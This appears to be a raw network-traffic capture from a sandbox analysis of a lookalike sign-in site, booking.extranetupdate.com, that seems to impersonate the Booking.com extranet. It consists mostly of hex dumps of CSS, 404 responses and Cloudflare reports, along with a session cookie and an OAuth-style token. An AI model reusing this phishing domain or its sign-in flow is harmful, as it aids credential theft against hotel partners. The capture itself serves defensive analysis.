2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 6f 6c 6f 72 5f 77 68 69 74 65 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 66 2d 66 69 6c 6c 2d 77 68 69 74 65 2c 2e 62 75 69 5f 66 69 6c 6c 5f 77 68 69 74 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 77 68 69 74 65 29 21 69 6d 70 6f 72 74 61 6e 74 3b 66 69 6c 6c 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 77 68 69 74 65 29 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 5f 64 61 72 6b 29 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 5f 64 61 72 6b 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 66 2d 66 Data Ascii: olor_white)!important}.bui-f-fill-white,.bui_fill_white{background-color:var(--bui_color_white)!important;fill:var(--bui_color_white)!important;border-color:var(--bui_color_grayscale_dark)!important;color:var(--bui_color_grayscale_dark)!important}.bui-f-f
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 3b 66 69 6c 6c 3a 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 29 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 66 2d 6f 75 74 6c 69 6e 65 2d 67 72 61 79 73 63 61 6c 65 2c 2e 62 75 69 5f 66 69 6c 6c 5f 67 72 61 79 73 63 61 6c 65 5f 6f 75 74 6c 69 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 3b 66 69 6c 6c 3a 74 Data Ascii: e{background-color:transparent!important;fill:transparent!important;border-color:var(--bui_color_primary)!important;color:var(--bui_color_primary)!important}.bui-f-outline-grayscale,.bui_fill_grayscale_outline{background-color:transparent!important;fill:t
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 5b 63 6c 61 73 73 5e 3d 62 75 69 2d 5d 3a 61 66 74 65 72 2c 5b 63 6c 61 73 73 5e 3d 62 75 69 2d 5d 3a 62 65 66 6f 72 65 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 62 75 69 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 6c 61 72 67 65 72 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 73 70 61 63 65 72 2d 2d 73 6d 61 6c 6c 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 73 6d 61 6c 6c 65 72 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 73 70 61 63 65 72 2d 2d 73 6d 61 6c 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 Data Ascii: [class^=bui-]:after,[class^=bui-]:before{-webkit-box-sizing:border-box;box-sizing:border-box}.bui-spacer{margin-bottom:var(--bui_unit_larger)!important}.bui-spacer--smaller{margin-bottom:var(--bui_unit_smaller)!important}.bui-spacer--small{margin-bottom:v
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 30 32 34 70 78 29 7b 2e 75 2d 73 68 6f 77 5c 40 6c 61 72 67 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 75 2d 68 69 64 64 65 6e 5c 40 6c 61 72 67 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 75 2d 69 6e 6c 69 6e 65 5c 40 6c 61 72 67 65 2c 2e 75 2d 69 6e 6c 69 6e 65 5c 40 6c 61 72 67 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 75 2d 66 75 6c 6c 2d 77 69 64 74 68 5c 40 6c 61 72 67 65 2c 2e 75 2d 66 75 6c 6c 2d 77 69 64 74 68 5c 40 6c 61 72 67 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 30 30 Data Ascii: 024px){.u-show\@large{display:block!important}.u-hidden\@large{display:none!important}.bui-u-inline\@large,.u-inline\@large{display:inline-block!important;width:auto!important}.bui-u-full-width\@large,.u-full-width\@large{display:block!important;width:100

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:24 UTC	571	OUT	OPTIONS /report/v4?s=tYl1LVuf9smtbyjtsM47y58wl0UKxOeXDmqcQ09TvQFActh3HeTZj7ptewZv6gWOjP3ikWbUjdlU%2FfG7rpByGNCQl7cKX6VO9S0gthoGybWdMJB3uSJMx4DBpss6TiJNrPFGYY23B%2Bs%2Flyas9Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://booking.extranetupdate.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 11:24:24 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 17 Apr 2025 11:24:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:24 UTC	913	OUT	GET /static/evergage.min.js HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:25 UTC	831	IN	HTTP/1.1 404 Not Found Date: Thu, 17 Apr 2025 11:24:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 931b8e4e0c18add2-ATL Server: cloudflare Cache-Control: max-age=14400 Cf-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LMnHZ%2Brmytl58JPSjsfgSSY3YtNr4sgprALyuk6fDwQYgA17UvsZkKNM7xGwShKlPYPwvlCjatLiyZh9gTrUIYtFhMQmfMGWR5DWHceQo2sngQqaWx1734bOk7C0JZuMwaJG%2F5VbKTt%2Bdh%2BP3Q%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105899&min_rtt=105888&rtt_var=22354&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1485&delivery_rate=38120&cwnd=252&unsent_bytes=0&cid=8010c01608321391&ts=748&x=0"
2025-04-17 11:24:25 UTC	538	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2025-04-17 11:24:25 UTC	17	IN	Data Raw: 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: rror page -->
2025-04-17 11:24:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:24 UTC	546	OUT	POST /report/v4?s=tYl1LVuf9smtbyjtsM47y58wl0UKxOeXDmqcQ09TvQFActh3HeTZj7ptewZv6gWOjP3ikWbUjdlU%2FfG7rpByGNCQl7cKX6VO9S0gthoGybWdMJB3uSJMx4DBpss6TiJNrPFGYY23B%2Bs%2Flyas9Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 752 Content-Type: application/reports+json Origin: https://booking.extranetupdate.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 11:24:24 UTC	752	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 35 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 69 6e 67 2e 65 78 74 72 61 6e 65 74 75 70 64 61 74 65 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 7a 58 6a 38 31 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d Data Ascii: [{"age":0,"body":{"elapsed_time":956,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLm
2025-04-17 11:24:25 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 17 Apr 2025 11:24:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:25 UTC	993	OUT	GET /static/otSDKStub.js/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda.json HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:25 UTC	810	IN	HTTP/1.1 404 Not Found Date: Thu, 17 Apr 2025 11:24:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 931b8e52395ac010-ATL Server: cloudflare Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1eJQxuxTkZ1u74Yqv4%2FzfgDLDtOHplll8qDqU2yob%2BU24WHWIaRBPFjKXF%2BYXHgPUzysen46hflJTPu43MUYf%2ByYvApJNzxjWt%2BoawvnZbOpU0vsorQ%2BRT4y6VPQ8M2UXVLXcs3nI8vHpni0%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105896&min_rtt=105877&rtt_var=22368&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1587&delivery_rate=38097&cwnd=252&unsent_bytes=0&cid=53c43684c573555d&ts=727&x=0"
2025-04-17 11:24:25 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2025-04-17 11:24:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:25 UTC	963	OUT	GET /static/css_399BM-E_9aHp94scPSljMDjXwz84BMBa3y-GIQG8XYY.css HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:26 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:26 GMT Content-Type: text/css Content-Length: 24695 Connection: close Cf-Ray: 931b8e5559b1453d-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:25 GMT Etag: "67268c7e-6077" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M9ygX6iOnBEgZanoc886tj6JZtPFl52sKYz%2FqaOGVAmvIjjnjf0UKxCvtzApyzGAzRZV%2BwEXt5hz2fj%2B%2Bie0NnlgRmGnbejjcZUgiyNmGrrV4xQQO8Y0jymFluzbVVg8D5nnYGm7Jbc7Bo6FqA%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106008&min_rtt=105943&rtt_var=22447&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1557&delivery_rate=38039&cwnd=251&unsent_bytes=0&cid=511c3294a55e45fb&ts=718&x=0"
2025-04-17 11:24:26 UTC	402	IN	Data Raw: 2f 2a 20 40 6c 69 63 65 6e 73 65 20 47 50 4c 2d 32 2e 30 2d 6f 72 2d 6c 61 74 65 72 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 75 70 61 6c 2e 6f 72 67 2f 6c 69 63 65 6e 73 69 6e 67 2f 66 61 71 20 2a 2f 0a 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 6c 65 66 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 7d 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 3b 7d 2e 61 6c 69 67 6e 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 2e 61 6c 69 67 6e 2d 72 69 67 68 74 7b 66 Data Ascii: /* @license GPL-2.0-or-later https://www.drupal.org/licensing/faq */.text-align-left{text-align:left;}.text-align-right{text-align:right;}.text-align-center{text-align:center;}.text-align-justify{text-align:justify;}.align-left{float:left;}.align-right{f
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 72 2d 69 6e 6c 69 6e 65 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6e 6c 69 6e 65 20 2e 64 65 74 61 69 6c 73 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6e 6c 69 6e 65 20 2e 68 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 7d 0a 2e 6a 73 20 64 65 74 61 69 6c 73 3a 6e 6f 74 28 5b 6f 70 65 6e 5d 29 20 2e 64 65 74 61 69 6c 73 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 2e 68 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a Data Ascii: r-inline label{display:inline-block;}.container-inline .details-wrapper{display:block;}.container-inline .hidden{display:none;}.clearfix::after{display:table;clear:both;content:"";}.js details:not([open]) .details-wrapper{display:none;}.hidden{display:
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 32 35 70 78 3b 68 65 69 67 68 74 3a 32 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7d 2e 73 79 73 74 65 6d 2d 73 74 61 74 75 73 2d 63 6f 75 6e 74 65 72 5f 5f 73 74 61 74 75 73 2d 69 63 6f 6e 3a 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 20 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 2e 73 79 73 74 65 6d 2d 73 74 61 74 75 73 2d 63 6f 75 6e Data Ascii: lay:inline-block;width:25px;height:25px;vertical-align:middle;}.system-status-counter__status-icon::before{display:block;width:100%;height:100%;content:"";background-repeat:no-repeat;background-position:center 2px;background-size:16px;}.system-status-coun
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 0a 2e 70 72 6f 67 72 65 73 73 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 2e 70 72 6f 67 72 65 73 73 5f 5f 74 72 61 63 6b 7b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 36 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 7d 2e 70 72 6f 67 72 65 73 73 5f 5f 62 61 72 7b 77 69 64 74 68 3a 33 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 36 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 2e 70 72 6f 67 72 65 73 73 5f 5f 64 65 73 63 72 69 70 74 69 6f 6e 2c Data Ascii: .progress{position:relative;}.progress__track{min-width:100px;max-width:100%;height:16px;margin-top:5px;border:1px solid;background-color:#fff;}.progress__bar{width:3%;min-width:3%;max-width:100%;height:16px;background-color:#000;}.progress__description,
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 6e 2d 6c 65 66 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 7d 2e 76 69 65 77 73 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 2e 76 69 65 77 73 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 2e 76 69 65 77 73 2d 76 69 65 77 2d 67 72 69 64 20 2e 76 69 65 77 73 2d 63 6f 6c 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 2e 76 69 65 77 73 2d 76 69 65 77 2d 67 72 69 64 20 2e 76 69 65 77 73 2d 72 6f 77 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 77 69 64 74 68 3a 31 30 30 25 3b 7d 2e 76 69 65 77 73 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 6b 20 2b 20 2e 76 69 65 77 73 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 6b 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 Data Ascii: n-left{text-align:left;}.views-align-right{text-align:right;}.views-align-center{text-align:center;}.views-view-grid .views-col{float:left;}.views-view-grid .views-row{float:left;clear:both;width:100%;}.views-display-link + .views-display-link{margin-left
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 73 2c 2e 6a 73 20 2e 64 72 6f 70 62 75 74 74 6f 6e 20 61 3a 68 6f 76 65 72 2c 2e 6a 73 20 2e 64 72 6f 70 62 75 74 74 6f 6e 20 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 69 6e 69 74 69 61 6c 3b 7d 2e 6a 73 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 6d 75 6c 74 69 70 6c 65 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 77 69 64 67 65 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 65 6d 3b 7d 2e 6a 73 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 6d 75 6c 74 69 70 6c 65 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 77 69 64 67 65 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 65 6d 3b 7d 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 6d 75 6c 74 69 70 6c 65 2e 6f 70 65 6e 2c 2e 64 72 6f 70 62 75 74 74 6f Data Ascii: s,.js .dropbutton a:hover,.js .dropbutton a:focus{outline:initial;}.js .dropbutton-multiple .dropbutton-widget{padding-right:2em;}.js[dir="rtl"] .dropbutton-multiple .dropbutton-widget{padding-right:0;padding-left:2em;}.dropbutton-multiple.open,.dropbutto
